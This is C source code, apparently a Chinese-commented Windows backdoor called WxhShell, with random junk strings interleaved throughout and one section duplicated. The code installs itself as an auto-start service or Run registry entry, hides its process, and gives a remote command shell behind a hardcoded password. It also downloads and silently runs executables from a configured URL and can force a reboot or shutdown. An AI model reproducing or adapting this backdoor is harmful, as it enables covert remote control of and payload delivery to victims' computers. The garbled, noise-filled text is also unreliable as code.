#c66) m-*hygkcDu PROCNTQSIP NtQueryInformationProcess; vCwe'q`1 ]&pds\ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M!XsJ<jN/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z=3\Ab -#HA"7XOE HANDLE hProcess; hs$GN] PROCESS_BASIC_INFORMATION pbi; 0PrLuejz M%kO7>h8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oz%>/zw[h if(NULL == hInst ) return 0; X'qU*Eo jmFz51 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l|k`YC x g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z\%Ls
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F
70R1OYU fV'ZsJ N if (!NtQueryInformationProcess) return 0; Gvr@|{k EpX&R,Rxk hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FK5<6n,U if(!hProcess) return 0; Y*vW!yu f__cn^1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d!
LE{ De(Hw&
IV CloseHandle(hProcess); b7p@Dn?E aD$v2)RR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S_IUV) if(hProcess==NULL) return 0; TmV,&['mg 4QIX19{" HMODULE hMod; Us0EG\Y char procName[255]; Z
Z:}AQ unsigned long cbNeeded; j4uvS! --c"0,7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $NZ-{dY{ B2'i7Ps CloseHandle(hProcess); EKsT~SS ;k>&FWEG if(strstr(procName,"services")) return 1; // 以服务启动 |~vI3]}fx &-B^~M*?? return 0; // 注册表启动 S9~+c } K#=*9S /*X2c6<d // 主模块 I
,z3xU int StartWxhshell(LPSTR lpCmdLine)
`yH<E+ { tAv@R&W, SOCKET wsl; e(GP^oK BOOL val=TRUE; 9E"vN int port=0; Ke2ccN struct sockaddr_in door; [VsKa\9u HTS%^<u if(wscfg.ws_autoins) Install(); E4~<V=2l l^pA2yh| port=atoi(lpCmdLine); 5a|w+HO, z;|A(*Y if(port<=0) port=wscfg.ws_port; vPTM |w<H!lGe!$ WSADATA data; 2;DuHO1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D)m5 M$>1L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3 +G$-ru setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :<bB?N( door.sin_family = AF_INET; #0P$M!% door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Y7Eajt-5 door.sin_port = htons(port); V4'YWdTi HoRg^Ai?\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &)AVzN+*h closesocket(wsl); j)/nKh4O return 1; c*L0@Ak% } YSTv\y PE3vQH=t~ if(listen(wsl,2) == INVALID_SOCKET) { mR?5G:W~R closesocket(wsl); 9NQlI1Wz4 return 1; 5#+^E{ } S/e2P|} Wxhshell(wsl); C(#u[8 WSACleanup(); %}Ss,XJ 0;AA/ return 0; ?&63#B,iZ /tf5Bv'< } !O:y@ y}My.c // 以NT服务方式启动 8o'_`{ba VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :+z4~%
jA { "AnC?c9?-^ DWORD status = 0; C1m]*}U DWORD specificError = 0xfffffff; I+[>I=ewa T>2[=J8U serviceStatus.dwServiceType = SERVICE_WIN32; B"TAjB&
* serviceStatus.dwCurrentState = SERVICE_START_PENDING; P(,p'I;j serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DVB{2~7 4 serviceStatus.dwWin32ExitCode = 0; v*SEb~[ serviceStatus.dwServiceSpecificExitCode = 0; LSGBq serviceStatus.dwCheckPoint = 0; B&[M7i serviceStatus.dwWaitHint = 0; W;'!gpa VcSVu hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \KQ71yqY if (hServiceStatusHandle==0) return; +zaA,e?\ 5qZ1FE status = GetLastError(); b\$}>O if (status!=NO_ERROR) w[S pw<Z { ^=RffrlZU serviceStatus.dwCurrentState = SERVICE_STOPPED; =u2l.CX serviceStatus.dwCheckPoint = 0; ]yx$(6_U serviceStatus.dwWaitHint = 0; zMm#Rhn serviceStatus.dwWin32ExitCode = status; 4W#vP serviceStatus.dwServiceSpecificExitCode = specificError; |Lf"6^@yh SetServiceStatus(hServiceStatusHandle, &serviceStatus); rvbLyv;~ return; @|63K)Xy } vY${;#~| R`DKu= serviceStatus.dwCurrentState = SERVICE_RUNNING; Nn~~!q serviceStatus.dwCheckPoint = 0; u'|4?"uz serviceStatus.dwWaitHint = 0; ||hb~%JK6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PT=2@kH } gcPTLh[^Er TarIPp // 处理NT服务事件,比如:启动、停止 ]*
F\"C@ VOID WINAPI NTServiceHandler(DWORD fdwControl) j.w@(<=x { aI6$? wus switch(fdwControl) h]5C|M| { _wkVwPr case SERVICE_CONTROL_STOP:
|)b6>.^ serviceStatus.dwWin32ExitCode = 0; H%UL%l$ serviceStatus.dwCurrentState = SERVICE_STOPPED; zr+zhpp serviceStatus.dwCheckPoint = 0; LcB]Xdsa( serviceStatus.dwWaitHint = 0; b&~4t/Vq { 4'`{H@]tb SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ma.`A } [E!oQVY return; aE&,]'6 case SERVICE_CONTROL_PAUSE: m#PY,y serviceStatus.dwCurrentState = SERVICE_PAUSED; Y^8C)p9r break; K?B{rE Lp case SERVICE_CONTROL_CONTINUE: zR1^I~
% serviceStatus.dwCurrentState = SERVICE_RUNNING; @z4*.S&tz break; ]h* c,. case SERVICE_CONTROL_INTERROGATE: ]>LhkA@V break; Z&1T }; ysxb?6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ko.(pb@+ } V5sg#|& =j5MFX.-o // 标准应用程序主函数 -Zf@VW,NI int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;aI[=?<x { 6*B1 9+- ?s\:hNNY // 获取操作系统版本 2N~Fg^xB OsIsNt=GetOsVer(); m?pstuUK( GetModuleFileName(NULL,ExeFile,MAX_PATH); iYORu3 Tl$[4heE // 从命令行安装 NdtB1b if(strpbrk(lpCmdLine,"iI")) Install(); iop2L51eJ Vr6@>@SC // 下载执行文件 S1p;nK if(wscfg.ws_downexe) { *.sVr7=j if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v0-cd WinExec(wscfg.ws_filenam,SW_HIDE); %W%9j#!aN } 10<x.8fSP -fwoTGlX if(!OsIsNt) { {QcLu"?c // 如果时win9x,隐藏进程并且设置为注册表启动 4L ;% h HideProc(); WHsgjvh" StartWxhshell(lpCmdLine); tBq
nfv } pm*xb]8y else #MX'^RZ>2 if(StartFromService()) =|M>l // 以服务方式启动 ,Sq/y~ StartServiceCtrlDispatcher(DispatchTable); ohF JZ' else F~%]6^$w // 普通方式启动 [Sr,h0h6 StartWxhshell(lpCmdLine); 8YZbP5' ?EJD?,} return 0; ??PC
k1X } dx;Ysn0- o.w\l\ A?CcHw
rT <j&DK2u=i =========================================== p2n0Z\2 @hJ%@( |]J>R l>Z5 uSG .z)%)PVV w[9|cgCY " Bg&i63XL$$ /2UH=Q!x4E #include <stdio.h> ;A|-n1e>Hc #include <string.h> |B'9\OkP[= #include <windows.h> qUjmB sB #include <winsock2.h> {;N,t]>8M #include <winsvc.h> ]l1\? I #include <urlmon.h> a:"Uh** ^* J2'X38I #pragma comment (lib, "Ws2_32.lib") S0~2{G"v #pragma comment (lib, "urlmon.lib") =U #dJ^4P CK,7^U #define MAX_USER 100 // 最大客户端连接数 _d"b;4l #define BUF_SOCK 200 // sock buffer ^HV>`Pjd}= #define KEY_BUFF 255 // 输入 buffer W=#:.Xj[ !n*
+(lZ #define REBOOT 0 // 重启 9Wnn'T@Tl #define SHUTDOWN 1 // 关机 +?u~APjNN q#vQv5 #define DEF_PORT 5000 // 监听端口 RA KFU d]:I(9K #define REG_LEN 16 // 注册表键长度 w8kOVN2b #define SVC_LEN 80 // NT服务名长度 -R57@D>j\ Fy`(BF\ // 从dll定义API iz8Bf; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~i~7na| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E=e*VEjy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 85n1eE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c0%"&a1]]V f0X_fm_q // wxhshell配置信息 bn^{c struct WSCFG { PV9pa/`@ int ws_port; // 监听端口 `S6x<J&T\/ char ws_passstr[REG_LEN]; // 口令 Sx?ua<`:d int ws_autoins; // 安装标记, 1=yes 0=no JHz
[ 7 char ws_regname[REG_LEN]; // 注册表键名 pQshUm"_ char ws_svcname[REG_LEN]; // 服务名 S`#w+C#EW char ws_svcdisp[SVC_LEN]; // 服务显示名 -j73Wz char ws_svcdesc[SVC_LEN]; // 服务描述信息 G]+&!4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k`0>36 int ws_downexe; // 下载执行标记, 1=yes 0=no A%`[mc]4# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ( M7pT char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x|mqL-Q f <_3b1VhZ }; |&FkksNAl\ wQe_vY // default Wxhshell configuration Pa~)"u8 struct WSCFG wscfg={DEF_PORT, ~(Q)"s\1I "xuhuanlingzhe", `Jzp Sw 1, @&X|5p"[g "Wxhshell", -7S g62THS "Wxhshell", Ezr:1 GJ "WxhShell Service", /lo2y?CS* "Wrsky Windows CmdShell Service", +6';1Nb@ "Please Input Your Password: ", &K.?p2$X 1, (vb
SM}P "http://www.wrsky.com/wxhshell.exe", }oL'8-y "Wxhshell.exe" ~ ip,Nl }; S-k8jm # a<Gxj // 消息定义模块 VH+%a<v" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bsB*533 char *msg_ws_prompt="\n\r? for help\n\r#>"; R $&o*K`? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b]x4o#t char *msg_ws_ext="\n\rExit."; W0l,cOOZJ char *msg_ws_end="\n\rQuit."; WN01h=1J_ char *msg_ws_boot="\n\rReboot..."; %KmiH
;U char *msg_ws_poff="\n\rShutdown..."; u/M+u; char *msg_ws_down="\n\rSave to "; w,h`s.AN JKGc3j,+# char *msg_ws_err="\n\rErr!"; Vm3v-=6 char *msg_ws_ok="\n\rOK!"; rd9e \%A gREzZ+([ char ExeFile[MAX_PATH]; '=Rs/EDME int nUser = 0; -?mfE+kt HANDLE handles[MAX_USER]; Z/t+8;TMR, int OsIsNt; Jh
]i]7r #)C[5?{SNq SERVICE_STATUS serviceStatus; ||;hciO SERVICE_STATUS_HANDLE hServiceStatusHandle; <$X3Hye BZR:OtR^ // 函数声明 nPye,"A Ol int Install(void); CitDm1DXt/ int Uninstall(void); _NMm/]mN / int DownloadFile(char *sURL, SOCKET wsh); oZ!m int Boot(int flag); MOn void HideProc(void); 8P1=[i] int GetOsVer(void); ',:*f8Jk int Wxhshell(SOCKET wsl); `[W[H(AjQ void TalkWithClient(void *cs); mT.u0KUIy int CmdShell(SOCKET sock);
[/e<l&y int StartFromService(void); bI:zp!-. int StartWxhshell(LPSTR lpCmdLine); hJZV}a| y *fDwd~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fp+gyTnd3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); H[S%J3JI qYlhlHD // 数据结构和表定义 T~Gvp0r}h SERVICE_TABLE_ENTRY DispatchTable[] = U-R6xxPZ { `QyO`y=?[Y {wscfg.ws_svcname, NTServiceMain}, {&\jW!&n {NULL, NULL} =5kY6%E7c }; Mz~M3$$9n OoA|8!CFa // 自我安装 aFS,GiB int Install(void) Q$="_y2cTA { hM{{\yZS char svExeFile[MAX_PATH]; Uc@Ao: HKEY key; 5u*-L_ strcpy(svExeFile,ExeFile); 'H
\9:7 4:r!|PJn{G // 如果是win9x系统,修改注册表设为自启动 @>W(1mRi if(!OsIsNt) { Z@]e{zO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .
r[Hu40p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +f@U6Vv RegCloseKey(key); rEv$+pP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z@B=:tf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (]Y 5eM RegCloseKey(key); m<j8cJ( return 0; tE]= cTSV } IW@PF7 } 2vAQ } =o& >fw else { K':K{ee> YKO){f5 // 如果是NT以上系统,安装为系统服务 ;#oie<
Vit SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `Ye\p6v!+ if (schSCManager!=0) <8d^^0 { <N_+=_ SC_HANDLE schService = CreateService IE9XU9Kd ( W9D86]3Y schSCManager, j(RWO wscfg.ws_svcname, j^^Ap wscfg.ws_svcdisp, DDPxmuNG SERVICE_ALL_ACCESS, hvDNz"ec{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `kZ@Zmj# SERVICE_AUTO_START, 3td)'} SERVICE_ERROR_NORMAL, ]dI2y=[!C svExeFile, w8Sp<6* NULL, =
c>Qx"Sw NULL, *:L?#Bw NULL, Z; A`oKd NULL, <;#~l* NULL &!/}Qp ); ^(|vsFzn if (schService!=0) `"&da#N] { h $L/<3oP6 CloseServiceHandle(schService); ;uwRyd CloseServiceHandle(schSCManager); ]cGA~d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A7%:05 strcat(svExeFile,wscfg.ws_svcname); t4-pM1]1_
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f"u%J/e & RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W!6qqi{ RegCloseKey(key); 11<KpxKpk return 0; Bh=u|8yxc } }T%}wdj } 4*e0 hWp CloseServiceHandle(schSCManager); ~ ; -! n; } N1|$$9G+ } ZE2$I^DY- 0IfKJ*]M return 1; XI22+@d6 } ]K/DY Do- ],Rd ySN& // 自我卸载 K)\M5id] int Uninstall(void) " e}3:U5n { rfNm&!K HKEY key; :j]vf8ec l&?}hq^'Dn if(!OsIsNt) { [$ejp>'Ud if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |b|&XB_<]Z RegDeleteValue(key,wscfg.ws_regname); )*,5"CO RegCloseKey(key); k[HAkB \{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xYhrO RegDeleteValue(key,wscfg.ws_regname); j{Txl\D> RegCloseKey(key); 8AnP7}n;?' return 0; m"o ;L3 } q~*t@ } V}SBuQp" } -eN\ ! else { sK7+Q @O[}QB?/fi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iv>SsW'p_ if (schSCManager!=0) 4*'pl.rb> { IaT$6\> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sfOHarww if (schService!=0) D;_ MPN[ { G=A,9@+c if(DeleteService(schService)!=0) { T`Mf]s)* CloseServiceHandle(schService); JXu$ew>q CloseServiceHandle(schSCManager); w\DVzeW( return 0; SL;9Q[ } ~d6DD;`K CloseServiceHandle(schService); "Q?k'^@ } l"2OP6d CloseServiceHandle(schSCManager); `g6h9GC6 } uvV;Mlo] } v0YG,)_ R8T]2?Q1 return 1; '*k'i;2/1 } tWoh''@# GF5^\Rf // 从指定url下载文件 E5N{j4\F int DownloadFile(char *sURL, SOCKET wsh) ea~:}!-P { OBP1B@|l$+ HRESULT hr; 2c:#O%d( char seps[]= "/"; aOiR l, char *token; cg*)0U-_( char *file; a(v>Q*zNP char myURL[MAX_PATH]; !}r%
u." char myFILE[MAX_PATH]; NN1$'"@NL 6+KHQFb&N strcpy(myURL,sURL); R#DwF, token=strtok(myURL,seps); 5GPo*Qpl while(token!=NULL) >$,y5 AJ& { N1}={yF.fQ file=token; Vw&HVo token=strtok(NULL,seps); 8WXJ. } yNqe8C,>e CBD6b l|A GetCurrentDirectory(MAX_PATH,myFILE); zBJ7(zh! strcat(myFILE, "\\"); ea00\ strcat(myFILE, file); zA!0l*H send(wsh,myFILE,strlen(myFILE),0); _dJ{j send(wsh,"...",3,0); <1.A=_
M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ul ER1\W if(hr==S_OK) "eWYv3z~- return 0; &_gTD else @;H,gEH^ return 1; p$x{yz3 " $ew~;z } Iz{R}#8CZ sPb=82~z // 系统电源模块 `QUy;%+ int Boot(int flag) 4)<~4 ' { (Gw,2-A HANDLE hToken; }Iz7l{al TOKEN_PRIVILEGES tkp; _+^ 2^TW S9>0t0 if(OsIsNt) { acw4B5] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3,Q^&
1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #zRbx tkp.PrivilegeCount = 1; ?x0pe4^If tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q=DN
{a: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h'$9C if(flag==REBOOT) { &09U@uc$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lZrVY+D return 0; YTjkPj: }
W":PG68 else { `St.+6^J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fS"Hr 0 return 0; W5' 3$,X9 } .]9c / } T1r3=Y4 else { jh.@- if(flag==REBOOT) { kee|42E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f7 'q- return 0; a+9*@z2 } AT\qiznvP else { xGG,2W+z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _` [h,= return 0; }h}<!s } 6Vbzd0dk } W7\&~IWub ?*oKX return 1; bI y sl } >R2SQA o $L2%u8}8: // win9x进程隐藏模块 wV)}a5+ void HideProc(void) \xUe/= { !!:LJ wHem5E HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;kJu$U if ( hKernel != NULL ) 2Gs$?}"a { hG_?8:W8HT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gn{=%`[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IB`>'~s&A FreeLibrary(hKernel); "aFhkPdWn } LsM7hLy 6y5A"- return; thqS*I'#g } NKmoG\* &l?+3$q // 获取操作系统版本 B<~U3b int GetOsVer(void) DS-fjH\ { 0K-*WQ*#9 OSVERSIONINFO winfo; \@;\t7~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '/I:^9 GetVersionEx(&winfo); n6(.{M; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^o !O)D-q return 1; QQpP#F|w else HSIvWhg?p return 0; ]O:N-Y } 8V-\e?&^ A, PlvI // 客户端句柄模块 1[*{(e int Wxhshell(SOCKET wsl) =U.
b% uC { (LtkA|: SOCKET wsh; bhs(Qzx struct sockaddr_in client; &|<xqt DWORD myID; >l+EJ3W ,b$2= JO'f while(nUser<MAX_USER) T`9-VX;` { TFepxF int nSize=sizeof(client); CVi`bO 4\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ce'pis if(wsh==INVALID_SOCKET) return 1; ;_:Oo l, a0*2) uL} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8:.nEo' if(handles[nUser]==0) e2C<PGUUB closesocket(wsh); Ft@Wyo`^ else !%Y~~'5 h nUser++; dxj*Q "K } j4R 4H; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L}j0a> =x4 \NqEw@91B return 0; `E\imL } |7^^*UzSK: UHGcnz< // 关闭 socket Y&2aO1 void CloseIt(SOCKET wsh) ba@=^Fa; { 7rHS^8'H& closesocket(wsh); wVq\FY% nUser--; GPWr>B.{:S ExitThread(0); 'ho{eR@d } g8'DoHJ* M3zDtN // 客户端请求句柄 |8)Xc=Hz void TalkWithClient(void *cs) I|/'Ds: { @+_&Y] y)F!c29 SOCKET wsh=(SOCKET)cs;
= c~I
. char pwd[SVC_LEN]; gNx+>h`AF char cmd[KEY_BUFF]; uvA(Rn char chr[1]; PzY)"]g int i,j; T!Sj<,r+j vRPS4@9' while (nUser < MAX_USER) { }xFi&
< -iCcoA if(wscfg.ws_passstr) { &D#+6M&LK{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +[m8c){ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iQ^:
])m> //ZeroMemory(pwd,KEY_BUFF); 89cVJ4]g~! i=0; !~lW3 while(i<SVC_LEN) { ,PWj_}|L[ *wi}>_\ // 设置超时 Q;nAPS fd_set FdRead; mo1
puU struct timeval TimeOut; N*DhjEU)[ FD_ZERO(&FdRead); +ySY>`1k~ FD_SET(wsh,&FdRead); yoqa@ V TimeOut.tv_sec=8; ODf4+& u TimeOut.tv_usec=0; *(cU]NUH_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YYRT.U' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $gp!w8h "D*Wi7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 83.E0@$ pwd=chr[0]; oJ78jGTnb if(chr[0]==0xd || chr[0]==0xa) { J<JBdk pwd=0; )'q%2%Ak break; KIL18$3J } )qPSD2h i++; GLKO]y } 2r];V'r zL s^,x // 如果是非法用户,关闭 socket j.3o W if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,2 WH/" } m%QqmTH |ia@,*KD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ykq'g| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .V%*{eHLL >kdM:MK while(1) { OR+A_:c.D C]`eH*z~8 ZeroMemory(cmd,KEY_BUFF); /hdf{4 4FA|[An // 自动支持客户端 telnet标准 [V@yRWI j=0;
"7?js $ while(j<KEY_BUFF) { OoP@-D"e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {U
<tc4^ cmd[j]=chr[0]; rbk<z\pc if(chr[0]==0xa || chr[0]==0xd) { !Y;<:zx5 cmd[j]=0; "+iAd.qd break; {Iy7.c8S } ^i<}]c_|f j++; ;mO,3dV } *kaJ*Ti-/ %OI4a5V*l // 下载文件 BV9 *s if(strstr(cmd,"http://")) {
qtSs)n send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9y"TDo if(DownloadFile(cmd,wsh)) da*9(!OV send(wsh,msg_ws_err,strlen(msg_ws_err),0); v`)m">e*w else Bt>}LLBS2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DY><qk } "2h5m4 else { 0~xaUM` I=YCQ VvA switch(cmd[0]) { "d?f:x3v^ 7b.U!Ju // 帮助 `=!p$hg($ case '?': { J1-):3A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PN\V[#nS break; \:sk9k } ?@a$!_ // 安装 {v+a!#{c7 case 'i': { i=Kvz4h if(Install()) u[t>Tg2R send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<r44a_! else Y}/jR6hK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q=.g1$LP break; * NMQ } z\[(g // 卸载 `2x 34 case 'r': { hZ#\t if(Uninstall()) -]&<Sr- send(wsh,msg_ws_err,strlen(msg_ws_err),0); fjkT5LNxk else szn%wZW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eH=c|m]!P break; -q(:%; } L;C|ow^c // 显示 wxhshell 所在路径 _z:Qhe case 'p': { $Z7:#cZ Y char svExeFile[MAX_PATH]; |B1Af strcpy(svExeFile,"\n\r"); s1@@o#r strcat(svExeFile,ExeFile); ew"m!F# send(wsh,svExeFile,strlen(svExeFile),0); B_@7IbB break; 6ZHv,e`? } |Y4q+sDW // 重启 dKe@JQ+-z case 'b': { x=3I)}J(kn send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ij$)RSPtH if(Boot(REBOOT)) l-=e62I{=| send(wsh,msg_ws_err,strlen(msg_ws_err),0); E<a.LW@ else { 8XkIk7 closesocket(wsh); Qy%xL9 ExitThread(0); *08+\ed"# } _&mc8ftT break; !ZA}b[ } t!savp // 关机 8AX3C s_G case 'd': { g!5#,kJM send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o?=fhc if(Boot(SHUTDOWN)) RD9Yk send(wsh,msg_ws_err,strlen(msg_ws_err),0); u p~@?t2 else { jhcuK:`L closesocket(wsh); h~.V[o7= ExitThread(0); #[(0tc/ } #J3zTG(:@ break; }JJ::*W2n } '7=<#Blc // 获取shell V"U~Q=`K case 's': { T@>63 CmdShell(wsh); dff#{ closesocket(wsh); 'T{pdEn8u ExitThread(0); SJF 2k[da break; k#-[ M.i } p|;o5j{ // 退出 SOYDp;j case 'x': { Vg) ^| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6<Be#Y]b CloseIt(wsh); h?3f5G*&H break; t.u{.P\Md\ } 95% :AQLV // 离开 !?Tzk&' case 'q': { 3_@G{O)e send(wsh,msg_ws_end,strlen(msg_ws_end),0); .1%i`+uZ closesocket(wsh); TR_(_Yd?36 WSACleanup(); R3cG<MjmK exit(1); $$/S8LmmK break; @>Biyb } @]yQJuXA&Z } 6vZt43"m?\ } IBF.&[[S $&NbLjeS // 提示信息 >0ssza if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r}Q@VS%% } VN!^m]0 } 00R% 2voNgY return; Z^C!RSQ } cRPr9LfD@ u'{sB5_H // shell模块句柄 *Y^5M"AB_ int CmdShell(SOCKET sock) M!{Rq1M { mrX}\p STARTUPINFO si; [29$~.m$Y ZeroMemory(&si,sizeof(si)); ^S3A10f, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X{4xm,B/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ta2z PROCESS_INFORMATION ProcessInfo; 78\\8* char cmdline[]="cmd"; #NSaY+V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mfUKHX5 return 0; %Ud.SJ3 } jWz|K Ab/v_mA; // 自身启动模式 C} |O#"t^\ int StartFromService(void) I(F1S,7 { L'zdsa}Et typedef struct QZ_nQ3K { )bF)RLZ DWORD ExitStatus; if\k[O 1T6 DWORD PebBaseAddress; &Qz"nCvJ DWORD AffinityMask; 48W:4B'l9 DWORD BasePriority; _zAc 5rS ULONG UniqueProcessId; Uia)5z z8 ULONG InheritedFromUniqueProcessId; `,<>){c| } PROCESS_BASIC_INFORMATION; V:$[~)k8 (%=lq#, PROCNTQSIP NtQueryInformationProcess; =r=^bNO t%ou1&SO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !hpTyO+% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C%qtCk_cN p=je"{ HANDLE hProcess; Au%Wrk3j PROCESS_BASIC_INFORMATION pbi; m mw)C" t(Cq(.u`: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \v B9fA:* if(NULL == hInst ) return 0; \["1N-q b fte!Ll' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \L&qfMjW"Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z.Lx^h+U NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .l" _K n$A(6]z5O if (!NtQueryInformationProcess) return 0; \:18Uoe7 C]{V%jU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E$oA+n~ if(!hProcess) return 0; R;N>#_9HU ,(5dQ` hA0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 